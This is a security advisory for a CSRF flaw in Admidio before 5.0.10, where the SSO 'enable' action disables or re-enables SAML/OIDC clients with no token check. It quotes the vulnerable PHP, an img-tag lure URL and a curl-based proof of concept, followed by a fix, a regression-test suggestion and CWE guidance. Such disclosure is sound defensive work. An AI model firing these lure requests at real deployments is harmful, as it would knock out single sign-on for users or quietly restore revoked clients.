GHSA-xg76-5qj2-2hhv CVE-2026-47229
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.14%
- Chance of exploitation in the next 30 days. Higher than 3.13% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
5.0.10- Upgrade admidio/admidio to this version or later
Description
Summary
modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.
Details
Vulnerable Code
modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:
case 'delete_oidc':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$oidcService = new OIDCService($gDb, $gCurrentUser);
$client = $oidcService->getClientFromUUID($getClientUUID);
$client->delete();
echo json_encode(array('status' => 'success'));
break;
case 'enable': // <- no CSRF validation
$enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
// Not a SAML record, so try OIDC:
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.
Exploitation Flow
- Attacker prepares a hostile page that loads (e.g.)
<img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposesdata-uuidattributes in the rendered HTML, and SSO metadata endpoints (e.g.modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML. - An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set
SameSite=Strict). - The server runs
case 'enable':as the admin, setssmc_enabled=0(orocl_enabled=0), and replies{"success":true}. - The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets
SYS_SSO_INVALID_CLIENTon its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently re-enabling a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).
PoC
Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
NOW(), 2);
SQL
mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid smc_client_name smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1
# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.
Impact
In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
- SSO outage for whichever client UUID the attacker chose. Users who depend on
app1.example/sso(or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand. - Stealthy re-activation of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing
enabled=1instead of0.
The impact is limited to the SAML / OIDC _enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the _enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.
Recommended Fix
Add the CSRF check and switch the trigger from GET to POST:
case 'enable':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm_csrf_token).
A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's _enabled column is unchanged.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.10 |
5.0.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.10
- composer
composer require admidio/admidio:^5.0.10
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
| GHSA-rwjr-qjj3-mq2f Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php` | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor